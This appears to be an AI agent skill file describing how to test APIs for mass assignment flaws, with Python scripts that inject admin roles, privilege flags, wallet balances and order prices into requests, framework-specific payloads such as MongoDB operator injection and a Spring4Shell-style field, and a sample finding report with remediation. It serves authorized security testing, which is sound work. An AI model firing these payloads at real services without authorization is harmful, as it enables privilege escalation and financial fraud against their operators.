Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.
Instrucciones de origen · Vista previa de solo lectura
name
testing-api-for-mass-assignment-vulnerability
description
Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.
f"Baseline user state: {json.dumps(baseline_user, indent=2)}"
Step 2: Inject Privileged Fields
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
deftest_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "test@example.com"elif field == "password":
base_body[field] = "SecurePass123!"elif field == "name":
base_body[field] = "Test User"elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"# Test each category of privileged fieldsfor category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual isnotNoneandstr(actual) == str(injected_value):
findings.append({
"endpoint": f"{method}{path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method}{path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
Step 3: Verify Assignment Through State Change
defverify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value isnotNone:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED'ifmatchelse'NOT MATCHED'}")
returnmatchreturnFalse# Test role elevation via profile updateprint("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
Step 4: Framework-Specific Testing
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payloadfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
Step 5: Order and Financial Object Mass Assignment
# Test price/amount manipulation in e-commerce APIsprint("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
iffloat(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
iffloat(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
Key Concepts
Term
Definition
Mass Assignment
Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-Binding
Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)
Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)
Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level Authorization
OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)
Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model
Tools & Systems
Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
Postman: API testing platform for crafting requests with injected parameters and verifying responses
Common Scenarios
Scenario: SaaS User Registration Mass Assignment
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
Confirm admin access by calling admin endpoints with the new account
Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified
Pitfalls:
Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
Missing nested object mass assignment where fields like user.role or address.verified can be injected
Output Format
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
